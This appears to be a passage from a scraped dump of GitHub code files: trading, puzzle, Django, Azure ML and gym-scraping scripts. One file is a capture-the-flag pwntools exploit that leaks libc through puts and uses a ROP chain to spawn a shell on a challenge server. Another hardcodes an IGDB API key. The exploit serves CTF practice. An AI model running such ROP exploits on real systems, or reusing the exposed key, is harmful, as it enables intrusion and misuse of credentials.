price * amount * (1 - (price - self.avg_price) / price)\n    #     self.all_money = self.all_money + sellmoney\n    #     self.buy_records = self.buy_records.drop(index=self.buy_records.index)\n    #     self.create_type = None\n    #     self.buy_type = None\n    #     self.flag1 = 0\n    #     self.flag2 = 0\n    #     self.flag3 = 0\n    #     self.flag4 = 0\n    #     self.flag5 = 0\n    #     log.info('卖出' + '|' + str(sell_type) + '|' + str(trade_time) + '|' + str(price) + '|' + str(sellcount) + '|' + str(sellmoney))\n    #     origin_buymoney = self.avg_price * sellcount\n    #     profit = sellmoney - origin_buymoney\n    #     log.info('盈利:' + str(profit))\n    #     self.sell_records.loc[len(self.sell_records)] = [trade_time, sellcount, price, self.avg_price, profit]","repo_name":"wylysn/qt","sub_path":"Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":6059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72116053540","text":"from wsgiref.simple_server import make_server\n\ndef message_wall_app(environ, start_response):\n    status = b'200 OK'\n    headers = [(b'Content-type', b'text/html; charset=utf-8')]\n    start_response(status, headers)\n\n    return[\"<h1>Message Wall</h1>\"]\n\nhttpd = make_server('', 8000, message_wall_app)\nprint(\"Serving on port 8000...\")\n\nhttpd.serve_forever()\n","repo_name":"adampickeral/Sample-Python-App","sub_path":"message_wall01.py","file_name":"message_wall01.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4232193940","text":"import sys\r\nsys.stdin = open(\"input.txt\", \"r\")\r\n\r\ndef parents(err):\r\n    for values in base[err]:\r\n        for i in range(len(base[values])):\r\n            if base[values][i] not in base[err]:\r\n                base[err].append(base[values][i])\r\n\r\ndef checker(arr):\r\n    while len(arr) > 0:\r\n        x = arr.pop()\r\n        for e in arr:\r\n            if e in base[x]:\r\n                out.append(x)\r\n                return(checker(arr))\r\n\r\nbase = {}\r\nout = []\r\n\r\nfor com in [input().strip().split() for i in range(int(input()))]:\r\n    base[com[0]] = com[2:len(com)]\r\n\r\norder = [input().strip() for j in range(int(input()))]\r\nprint(order)\r\nfor child in order:\r\n    parents(child)\r\nprint(base)\r\nchecker(order)\r\n\r\n\r\n","repo_name":"pananev/Training","sub_path":"Python/excessive.py","file_name":"excessive.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27862229822","text":"import re\n\n# Read input\nchem, rchem = {}, {}\nfor line in open('d19.txt').readlines():\n    if ' => ' in line:\n        a, b = line.strip().split(' => ')\n        if a not in chem: chem[a] = []\n        chem[a].append(b)\n        rchem[b] = a\n    elif line:\n        medicine = line.strip()\n\n# Functions\ndef find_index(pattern, string):\n    return [(m.start(0), m.end(0)) for m in re.finditer(pattern, string)]\n\ndef replacements(mol, reactions):\n    results = set()\n    for start, products in reactions.items():\n        for elem in products:\n            for i1, i2 in find_index(start, mol):\n                new_mol = mol[:i1] + elem + mol[i2:]\n                if new_mol not in results: results.add(new_mol)\n    return results\n\n# P1\nprint(len(replacements(medicine, chem)))\n\n# P2\nchemlist, steps = sorted(list(rchem.keys()), key = len, reverse = True), 0\nwhile medicine != 'e':\n    for chem in chemlist:\n        while chem in medicine:\n            i1, i2 = find_index(chem, medicine)[-1]\n            medicine = medicine[:i1] + rchem[chem] + medicine[i2:]\n            steps += 1\nprint(steps)","repo_name":"olamberti/advent-of-code","sub_path":"2015/d19.py","file_name":"d19.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72897564900","text":"#Pwn 3\nfrom pwn import *\nelf = context.binary = ELF(\"./pwn3\")\nlibc = elf.libc\nr = process()\nr = remote(\"challs.n00bzunit3d.xyz\", 42450)\n# gdb.attach(r, \n# '''\n#     b*main+78\\n\n#     c\n# ''')\npop_rdi = 0x0000000000401232\nret = pop_rdi+1\naddr_binsh = 0x4047c0\nmov_rbp_rsp = 0x000000000040122f\n\npayload = flat(\n    cyclic(40),\n    mov_rbp_rsp,\n    elf.got['puts'],\n    elf.plt['puts'],\n    elf.symbols[\"main\"]+4\n)\nr.sendline(payload)\n\nr.recvuntil(b\"{f4k3_fl4g}\\n\")\nputs_leak = u64(r.recv(6) + b'\\x00\\x00')\nlibc.address = (puts_leak - libc.sym[\"puts\"])\nlog.success(f\"Libc base: {hex(libc.address)}\")\n\npayload = flat(\n    cyclic(40),\n    ret,\n    pop_rdi,\n    next(libc.search(b\"/bin/sh\")),\n    libc.symbols[\"system\"]\n)\nr.sendline(payload)\nr.interactive()\n\n\n# PWN 2\n# from pwn import *\n# elf = context.binary = ELF(\"./pwn2\")\n# libc = elf.libc\n# # r = process()\n# r = remote(\"challs.n00bzunit3d.xyz\", 61223)\n# pop_rdi = 0x0000000000401196\n# ret = pop_rdi + 1\n\n# r.sendline(b\"A\")\n# payload = b\"A\" * 40 + flat(ret,pop_rdi,elf.got['puts'],elf.plt['puts'],elf.symbols[\"main\"]+5)\n# r.sendline(payload)\n\n# r.recvuntil(b\"{f4k3_fl4g}\")\n# puts_leak = u64(r.recv(6) + b'\\x00\\x00')\n# libc.address = (puts_leak - libc.sym[\"puts\"])\n# log.success(f\"Libc base: {hex(libc.address)}\")\n\n# r.sendlineafter(b\"like a flag?\", b\"A\")\n# payload = b\"A\" * 40 + p64(ret) + flat(pop_rdi,next(libc.search(b\"/bin/sh\")),elf.symbols[\"system\"])\n# r.sendline(payload)\n# r.interactive()\n\n# PWN 1\n# from pwn import *\n# elf = context.binary = ELF(\"./pwn1\")\n# r = elf.process()\n# r = remote(\"challs.n00bzunit3d.xyz\", 35932)\n\n# payload = b\"a\" * 72 + p64(0x000000000040124a)\n# r.send(payload)\n# r.interactive()","repo_name":"Kinabler/CTF","sub_path":"N00bzCTF/Pwn1_2_3/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20618896529","text":"import os\nimport json\n\nfrom azureml.core import Workspace, Experiment, Run, Model\nfrom azureml.core.authentication import ServicePrincipalAuthentication\nfrom azureml.core.resource_configuration import ResourceConfiguration\nfrom azureml.exceptions import AuthenticationException, ProjectSystemException, UserErrorException, ModelPathNotFoundException, WebserviceException\nfrom adal.adal_error import AdalError\nfrom msrest.exceptions import AuthenticationError\nfrom json import JSONDecodeError\n\ndef register(model_path:str, model_name:str, model_version:str):\n    tenant_id       = os.environ.get('TENANT_ID') \n    app_id          = os.environ.get('APP_ID') \n    app_secret      = os.environ.get('SECRET_ID') \n    subscription_id = os.environ.get('SUBSCRIPTION_ID') \n\n    #Load model name and model version\n    print(\"::debug::Loading input values\")\n    model_name = model_name\n    mv = model_version\n\n    #convert into int\n    print(\"::debug::Casting input values\")\n    try:\n        model_version = int(mv)\n    except TypeError as exception:\n        print(f\"::debug::Could not cast model version to int: {exception}\")\n        model_version = None   \n\n    \n    cloud = \"AzureCloud\"\n    \n    # Authenticate Azure\n    try:\n        sp = ServicePrincipalAuthentication(tenant_id=tenant_id,\n        service_principal_id=app_id,\n        service_principal_password=app_secret,\n        cloud=cloud)\n    except AuthenticationException as exception:\n        print(f\"::error::Could not retrieve user token. Please paste output of `az ad sp create-for-rbac --name <your-sp-name> --role contributor --scopes /subscriptions/<your-subscriptionId>/resourceGroups/<your-rg> --sdk-auth` as value of secret variable: AZURE_CREDENTIALS: {exception}\")\n        raise AuthenticationException\n    \n    #Load workspace and resource group\n    print(\"::debug::Loading Workspace values\")\n    ws_path        = \"delphai-common-ml\"\n    resource_group = \"tf-ml-workspace\"\n    \n    #Load Azure workspace\n    try:\n        ws = Workspace.get(name=ws_path,auth=sp,subscription_id=subscription_id,resource_group=resource_group)\n    except AuthenticationException as exception:\n        print(f\"::error::Could not retrieve user token. Please paste output of `az ad sp create-for-rbac --name <your-sp-name> --role contributor --scopes /subscriptions/<your-subscriptionId>/resourceGroups/<your-rg> --sdk-auth` as value of secret variable: AZURE_CREDENTIALS: {exception}\")\n        raise AuthenticationException\n    \n    try:\n        model = Model.register(\n                workspace=ws,\n                model_path=model_path,\n                model_name=model_name,\n            )\n    except TypeError as exception:\n        print(f\"::error::Model could not be registered: {exception}\")\n\nif __name__ == \"__main__\":\n    from sys import argv\n    model_path    = argv[1]\n    model_name    = argv[2]\n    model_version = argv[3]\n    register(model_path=model_path, model_name=model_name, model_version=model_version)\n\n\n\n","repo_name":"delphai/delphai-ml-deployment","sub_path":"register/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":2968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27418288364","text":"from random import randint\n\nfrom django.test import TestCase\n\nfrom users.models import CustomUser as User, FriendRequest, UserInteraction, InteractionAction\nfrom users.utils.enums import LinkedListTypeEnum, UserInteractionActionEnum\n\nfrom .utils import create_user, add_friends, check_if_friends\n\nfrom print_pp.logging import Print\n\n\ndef traverse_linked_list(node:UserInteraction):\n    while node:\n        print(node)\n        node = node.next_node\n\n\nclass TestCreateInteraction(TestCase):\n\n    def setUp(self) -> None:\n\n        users = create_user(n=2)\n        self.user_one = users[0]\n        self.user_two = users[1]\n        self.user_one.add_friend(self.user_two)\n\n        self.possible_actions_with_score = [\n            UserInteractionActionEnum.LIKE,\n            UserInteractionActionEnum.COMMENT,\n            UserInteractionActionEnum.TAG,\n        ]\n\n        return super().setUp()\n\n    \n    def create_interaction_test(self):\n\n        self.assertEqual(check_if_friends(self.user_one, self.user_two), True)\n        self.assertEqual(self.user_one.get_interactions().count(), 1)\n        self.assertEqual(self.user_two.get_interactions().count(), 1)\n\n        add_friends(self.user_one, num_friends=10)\n        \n        self.assertEqual(self.user_one.get_interactions().count(), 11)\n        self.assertNotEqual(self.user_one.interaction_head_with_score, None)\n        self.assertEqual(self.user_one.interactions_score, 55)\n\n    \n    def create_action_two_users_test(self):\n            \n        self.assertEqual(self.user_one.get_interactions().count(), 11)\n        self.assertEqual(self.user_two.get_interactions().count(), 1)\n\n        interaction:UserInteraction = self.user_one.get_interactions(user_id=self.user_two.pk).first()\n        num_actions = 1\n\n        # this should produce an error\n        error = None\n        try:\n            self.user_one.create_action(self.user_two, UserInteractionActionEnum.FRIENDSHIP)\n        except Exception as e:\n            error = e\n        self.assertNotEqual(error, None)\n        self.assertEqual(interaction.get_actions().count(), 1)\n\n        error = None\n        try:\n            self.user_one.create_action(self.user_two, UserInteractionActionEnum.FOLLOW)\n        except Exception as e:\n            error = e\n        self.assertNotEqual(error, None)\n        self.assertEqual(interaction.get_actions().count(), 1)\n\n\n        for _ in range(100):\n            # get a random action\n            action = self.possible_actions_with_score[randint(0, len(self.possible_actions_with_score)-1)]\n            self.user_one.create_action(self.user_two, action)\n            num_actions += 1\n        \n        \n        self.assertEqual(interaction.get_actions().count(), num_actions)\n        interaction.refresh_from_db()\n        self.assertEqual(interaction.score < 100, True)\n\n\n    def create_actions_between_multiple_users_test(self):\n        # Perform a better test here\n        add_friends(self.user_one, num_friends=10)\n        \n        self.assertEqual(self.user_one.get_interactions().count(), 21)\n        self.assertNotEqual(self.user_one.interaction_head_with_score, None)\n        self.assertEqual(self.user_one.interactions_score, 95)\n\n        friends = self.user_one.friends.all()\n\n        \n        gen = self.user_one.traverse_linked_list(LinkedListTypeEnum.WITH_SCORE)\n        prev_updated_at = None\n        # BUG: the linked list is not sorted correctly\n        # what I think is going on, is not with the function how we traverse the linked list\n        # but with the way these nodes are saved on this linked list creating them not in order\n        while True:\n            try:\n                if prev_updated_at is None:\n                    prev_updated_at = next(gen).updated_at\n                    continue\n\n                next_node:UserInteraction = next(gen)\n                Print(('curr', 'score'), (next_node.updated_at, next_node.score), al=False)\n                \n                # there a bug here\n                if prev_updated_at < next_node.updated_at:\n                    pass\n                    # Print('bug appeared')\n                    # self.fail('The linked list is not sorted correctly')\n                \n                prev_updated_at = next_node.updated_at\n\n            except StopIteration:\n                break\n            \n        return\n        # Test linked list with max\n        gen = self.user_one.traverse_linked_list(LinkedListTypeEnum.WITH_SCORE, order_by={'score': 'max'})\n        prev_score = None\n\n        # BUG: the linked list is not sorted correctly\n        while True:\n            try:\n                next_node = next(gen)\n                Print(('curr', 'prev'), (next_node.score, prev_score))\n\n                if prev_score is None:\n                    prev_score = next_node.score\n                    continue\n\n                # there is a bug here\n                if prev_score > next_node.score:\n                    Print('bug appeared')\n\n                    # self.fail('The linked list is not sorted correctly')\n                \n                prev_score = next_node.score\n\n            except StopIteration:\n                break\n\n        # Print('score head', self.user_one.interaction_head_with_score)\n        # Print('no score head', self.user_one.interaction_head_without_score)\n\n        for _ in range(100):\n            # get a random action\n            action = self.possible_actions_with_score[randint(0, len(self.possible_actions_with_score)-1)]\n            friend = friends[randint(0, len(friends)-1)]\n            self.user_one.create_action(friend, action)\n        self.user_one.refresh_from_db()\n        # Print('score', self.user_one.interactions_score)\n\n\n    def test_create_actions(self):\n        self.create_interaction_test()\n        self.create_action_two_users_test()\n        self.create_actions_between_multiple_users_test()\n","repo_name":"i27ae15/project_garm","sub_path":"users/tests/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":5848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12170015414","text":"from django.core.files.temp import NamedTemporaryFile\nfrom django.utils.timezone import activate\nfrom django.core import serializers\nfrom django.utils import timezone\nfrom GameExchange import settings\nfrom django.views import View\nfrom secrets import token_hex\nfrom xgame.models import *\nimport requests\nimport ast\nimport threading\nimport dataset\nimport os\nfrom django.http import JsonResponse\nimport re\nfrom fcm_django.models import FCMDevice\n\nactivate(settings.TIME_ZONE)\n\n\nclass Language:\n    def __init__(self):\n        self.en = {'add_review': \"Comment Successfully Added\", 'add_sell': 'Uploaded Successfully',\n                   'login': 'Login Successfully', 'invalid': 'is invalid',\n                   'activate_new_user': 'Please Fill Data To Complete Your Signup Process', 'wrong_code': 'Code Not Found',\n                   '401': 'Unauthenticated', 'logout': 'successfully signed out', 'sign_up': 'Profile Updated',\n                   'bad_game': 'Somthing is wrong with this game'}\n        self.fa = {'add_review': \"نقد شما ذخیره شد\", 'add_sell': 'بازی به فروشگاه اضافه شد', 'login': 'خوش آمدید',\n                   'activate_new_user': 'برای کامل کردن ثبت نام لصفا فرم را پر کنید', 'wrong_code': 'کد فعالسازی اشتباه است',\n                   '401': 'کاربر نامعتبر میباشد', 'logout': 'خروج موفق', 'invalid': 'نامعتبر است', 'sign_up': 'پروفایل بروزرسانی شد',\n                   'bad_game': 'متاسفانه در پردازش این بازی مشکلی رخ داده است'}\n\n\nclass Vars(View):\n    version = 1\n    min_version = 1\n    link = ''\n    platform = {0: 'nothing', 1: 'PlayStation 4', 2: 'Xbox One', 3: 'nintendo switch', 4: 'PC (Microsoft Windows)'}\n    media_type = {0: 'cover', 1: 'screenshot', 2: 'trailer', 3: 'seller_photos'}\n    ten_days_later = timezone.now() + timezone.timedelta(days=10)\n    base_url = 'https://api-v3.igdb.com'\n    api_key = 'b2ca5a63f6073504b735c49435f69cee'\n    image_url = 'https://images.igdb.com/igdb/image/upload/t_720p/'\n    screenshot = 'https://images.igdb.com/igdb/image/upload/t_screenshot_big/'\n    cover = 'https://images.igdb.com/igdb/image/upload/t_720p/'\n    media = 'http://192.168.1.95:81'\n    # media = 'XGame.pythonanywhere.com'\n    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)' \\\n                 ' Chrome/72.0.3626.119 Safari/537.36'\n    threadLock = threading.Lock()\n    threads = []\n\n    def generate_token(self, user_id):\n        user = User.objects.get(pk=user_id)\n        user.access_token = token_hex(511)\n        user.refresh_token = token_hex(511)\n        user.access_token_expire = timezone.now() + timezone.timedelta(days=10)\n        user.refresh_token_expire = timezone.now() + timezone.timedelta(days=30)\n        user.save()\n        return {'access_token': user.access_token, 'refresh_token': user.refresh_token}\n\n    def string_to_list(self, string):\n        s = serializers.serialize(\"json\", string)\n        s = s.replace('false', 'False').replace('true', 'True').replace('null', 'None')\n        s = ast.literal_eval(s)\n        list = []\n        if s:\n            for obj in s:\n                obj['fields']['id'] = obj['pk']\n                list.append(obj['fields'])\n            if 'price' in list[0]:\n                for obj in list:\n                    price = obj['price']\n                    if price < 1000000:\n                        obj['price'] = f\"{int(price / 1000)}K\"\n                    else:\n                        obj['price'] = f\"{int(price / 1000000) if price % 1000000 == 0 else price / 1000000}M\"\n\n            if 'created_at' in list[0]:\n                for obj in list:\n                    obj['created_at'] = self.datetime_serializer(obj['created_at'])\n                    obj['updated_at'] = self.datetime_serializer(obj['updated_at'])\n        return list\n\n    def datetime_serializer(self, time):\n        time = time.replace('T', ', ')\n        time = time.split('.')[0]\n        return time\n\n    def file_cache(self, url):\n        r = requests.get(url)\n        img_temp = NamedTemporaryFile()\n        img_temp.write(r.content)\n        img_temp.flush()\n        return img_temp\n\n    def get_staff(self):\n        staff = User.objects.filter(is_staff=True, is_active=True)\n        ids = [st.pk for st in staff]\n        staff = FCMDevice.objects.filter(user_id__in=ids)\n        return staff\n\n\nclass Validation(View):\n\n    def __init__(self):\n        super().__init__()\n        self.game_name_pattern = r'^\\w+\\d*$'\n        self.name_pattern = r'^([A-z 0-9]+)$'\n        self.phone_pattern = r'^(09[0-9]{9})$'\n        self.activation_code_pattern = r'^\\d{6}$'\n        self.email_pattern = r'^\\w+.*-*@\\w+.com$'\n        self.platform_pattern = r'^[0-4]$'\n        self.text = r'^[\\w\\d;\\[\\]!?+=()%.]+$'\n        self.id = r'^\\d+$'\n        self.rate = r'^[0-9]$|10'\n\n    def validation(self, pattern, text):\n        def f(x):\n            return {\n                'game_name': self.game_name_pattern,\n                'name': self.name_pattern,\n                'phone': self.phone_pattern,\n                'activation_code': self.activation_code_pattern,\n                'email': self.email_pattern,\n                'platform': self.platform_pattern,\n                'text': self.text,\n                'id': self.id,\n                'rate': self.rate,\n            }[x]\n        valid = re.search(f(pattern), f'{text}')\n        if valid:\n            return valid[0]\n        return 'no match'\n\n\nclass BruteForce(View):\n    @staticmethod\n    def check_ip_user(request, current_url, ip, rate, time):\n        db = dataset.connect('sqlite:///cache.db')\n        table = db['ip']\n        filename = os.path.join(settings.BASE_DIR + '/logs', 'brute_force.log')\n        file = open(filename, \"a\")\n        file.write(ip + ' - ')\n        file.close()\n        restrict_ip = table.find_one(ip=ip)\n        if restrict_ip is not None and timezone.now() < restrict_ip['time']:\n            return JsonResponse({'message': 'restricted'})\n        elif restrict_ip is not None and timezone.now() > restrict_ip['time']:\n            table.delete(ip=restrict_ip['ip'])\n        table = db['ip']\n        first = table.find_one(id=1)\n        if first is not None and first['ip'] != ip and first['user'] != request.user:\n            table.update(dict(id=1, ip=ip, time=timezone.now(), user=request.user, route=current_url), ['id'])\n            table.delete(ip=first['ip'])\n        elif first is None or first['ip'] == ip or first['user'] == request.user:\n            table.insert(dict(ip=ip, time=timezone.now(), user=request.user, route=current_url))\n            ip_retry = table.find(ip=ip)\n            user_retry = table.find(user=request.user)\n            i, j = 0, 0\n            for item in ip_retry:\n                i += 1\n            for item in user_retry:\n                j += 1\n            if i > rate or j > rate and (first['time'] + timezone.timedelta(minutes=time) > timezone.now()):\n                table = db['restrict']\n                table.insert(dict(ip=ip, user=request.user, time=timezone.now() + timezone.timedelta(minutes=time)))\n                table.delete(ip=first['ip'])\n","repo_name":"Mee1ad/x-game","sub_path":"xgame/views/Consts.py","file_name":"Consts.py","file_ext":"py","file_size_in_byte":7259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4064294870","text":"import os\nimport re\nimport json\nimport time\nimport pytz\nimport boto3\nimport pyowm\nimport base64\nimport urllib\nimport datetime\nimport requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\n\ns3 = boto3.client('s3')\n\n##########################\n# Gym scraping functions #\n##########################\n\ndef get_occupancy_boulderwelt(gym_name:str, url: str) -> tuple():\n    # make POST request to admin-ajax.php \n    req = requests.post(f\"{url}/wp-admin/admin-ajax.php\", data={\"action\": \"cxo_get_crowd_indicator\"})\n    if req.status_code == 200:\n        data = json.loads(req.text)\n        if 'percent' in data:\n            occupancy = int(data['percent'])\n        elif 'level' in data:\n            occupancy = int(data['level'])\n        else:\n            print(f\"Response doesn't contain percent or level for occupancy. Response is: {req.text}\")\n            occupancy = 0\n\n        # waiting system implemented\n        if 'queue' in data and int(data['queue']) > 0:\n            occupancy += int(data['queue']) / 10\n        return occupancy\n\n    # admin-ajax.php not working\n    page = requests.get(url)\n    if page.status_code != 200:\n        return 0\n    try:\n        occupancy = int(float(re.search(r'style=\"margin-left:(.*?)%\"', page.text).group(1)))\n    except:\n        occupancy = 0\n    return occupancy\n\ndef get_occupancy_boulderado(gym_name:str, url: str) -> tuple():\n    url_mappings = {\n        'Aalen Kletterhalle': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkRBVkFhbGVuIn0.I2bl3yVePpMDO7fUTPrz-Z4G-2-yShxcdmnBY4xstog&ampel=1',\n        'Berlin Magicmountain': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6Ik1hZ2ljTW91bnRhaW4yMDIwMTQifQ.8919GglOcSMn9jl48zZVqNtZzXHh9RX23pN9F6DgX3E&ampel=1',\n        'Burgoberbach Boulder Hall': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkJvdWxkZXJIYWxsIn0.jUG93IaTtWf--d7mPMuZ1wPkBvmXSm2MhhcKf6HQeMA&ampel=1',\n        'Duisburg Einstein': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkVpbnN0ZWluRHVpc2J1cmcyNzQ2In0.15BWuXYCsdomDfaea-AgBhde-FnNo_kyftRci1l_Xyk&ampel=1',\n        'Erlangen Der Steinbock': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0ZWluYm9ja0VybGFuZ2VuMzkyMDIxIn0.jchq4dpdvDPMWYXUEFRdeBCctqEJoIUIiC_6jvxFmSo&ampel=1',\n        'Kirchheim Stuntwerk': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&ampel=1&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0dW50d2Vya0tpcmNoaGVpbTIwMjAzOSJ9.GeDZdKiZSnsAmIyZHNNmIWztxdCE8SE7-1CBn1XJihw',\n        'Koeln Stuntwerk': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0dW50d2VyayJ9.7k8N_cgJEg_hmFGmNytpF6UyIwiR13M5VNQyZ_f8mBA&ampel=1',\n        'Konstanz Der Steinbock': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0ZWluYm9ja0tvbnN0YW56MzkyMDE5In0.Io2pIXQ4lXUmRXM3Q0snudOGYytyZkVv3hbSh_QrUA0&ampel=1',\n        'Krefeld Stuntwerk': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0dW50d2Vya0tyZWZlbGQyMDIxMjkifQ.kMi9hRokwXzYKqWxnQ93It2251MG_i27NNyjYajaP4Q&ampel=1',\n        'Nuernberg Der Steinbock': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0ZWluYm9ja05SQkcyMDIwMzkifQ.-HR_1FyjCV0NpmloWAeY5rMpzYke7VD-gcEf7z6xALI&ampel=1',\n        'Nuernberg Boulderhalle': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkU0In0.V1qLmBXgGhZ73-GaYaFsNjrNauJxKx62IWQEqq8dRPw&ampel=1',\n        'Passau Der Steinbock': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0ZWluYm9ja1Bhc3NhdTE3In0.jlrNfNWhp0xGk3YDJNN__j4rtMUKhd_B8sdi_93MThY&ampel=1',\n        'Recklinghausen Einstein': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkVpbnN0ZWluUmVjazE1MjAxOSJ9.qhZNPSqWhRidM9pT3pCcumJjscleyWYGg1NqesGij-A&ampel=1',\n        'Rosenheim Stuntwerk': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlN0dW50d2Vya1Jvc2VuaGVpbTM5MjAyMCJ9.DjD06gzd9J68LfT8wbRT5Kjw9zutgt22D2x9Xwd81zY&ampel=1',\n        'Ulm Einstein': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IkVpbnN0ZWluVWxtIn0.42Z3sOzV8xfItWgvCCTYvpvrasil7BlbpsLYhT4VJVg&ampel=1' ,\n        'Wuerzburg Rock Inn': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6IlJvY2tJbm5XdWVyemJ1cmcifQ.rq0u9Pzj-vdCAtLvw4gUDMSsYPe0s6z_OEBbd_xIBgg&ampel=1',\n        'Zirndorf Der Steinbock': 'https://www.boulderado.de/boulderadoweb/gym-clientcounter/index.php?mode=get&token=eyJhbGciOiJIUzI1NiIsICJ0eXAiOiJKV1QifQ.eyJjdXN0b21lciI6Ilppcm5kb3JmIn0.JbdO230u8mmY0Oh5afF86yI3_sUwVmkPQiKfYpWwkOo&ampel=1'\n    }\n    # get corresponding link for gym\n    for location, link in url_mappings.items():\n        if location in gym_name:\n            request_url = link\n            break\n    else:\n        return 0\n    # obtain occupancy from url\n    page = requests.get(request_url)\n    if page.status_code != 200:\n        return 0\n    soup = BeautifulSoup(page.content, 'html.parser')\n    try:\n        occupancy = int(re.search(r'left: (\\d*)%', str(soup.find_all(\"div\", class_=\"pointer-image\")[0]['style']))[1])\n    except Exception:\n        occupancy = 0\n    return occupancy\n\ndef get_occupancy_webclimber(gym_name:str, url: str) -> tuple():\n    maps = {\n        'Biberach': ['https://207.webclimber.de/de/trafficlight?key=VNkR6RntCCRey5Y9XgmxMK6pg52qH6us'],\n        'Bonn Boulders Habitat': ['https://113.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=mu4Gk2NXGBfUU30McdwEkq18SDks2xDB&hid=113&container=trafficlightContainer&type=2&area=1'],\n        'Bonn Beuel Boulders Habitat': ['https://113.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=mu4Gk2NXGBfUU30McdwEkq18SDks2xDB&hid=113&container=trafficlightContainer_2&type=2&area=2'],\n        'Braunschweig': ['https://158.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=yspPh6Mr2KdST3br8WC7X8p6BdETgmPn&hid=158&container=trafficlightContainer_1&type=2&area=1', #innen\n                         'https://158.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=yspPh6Mr2KdST3br8WC7X8p6BdETgmPn&hid=158&container=trafficlightContainer_2&type=2&area=2'], #draußen\n        'Frankfurt Kletterbar': ['https://133.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=UtpHvbBVgevzEx1Ufw9fGTrxQfTP4Tba'],\n        'Freising': ['https://110.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=kqGSgwRfZbQDV2CrSku1AcCZ17RCyfQk&hid=110&container=trafficlightContainer_1&type=2&area=1',# kletter\n                     'https://110.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=kqGSgwRfZbQDV2CrSku1AcCZ17RCyfQk&hid=110&container=trafficlightContainer_2&type=2&area=2'], # bouldern\n        'Hannover Kletterbar': ['https://145.webclimber.de/de/trafficlight?callback=WebclimberTrafficlight.insertTrafficlight&key=f4573UP0g7EVDf2XFPZwHR8x8M88720E'],\n        'Heavens': 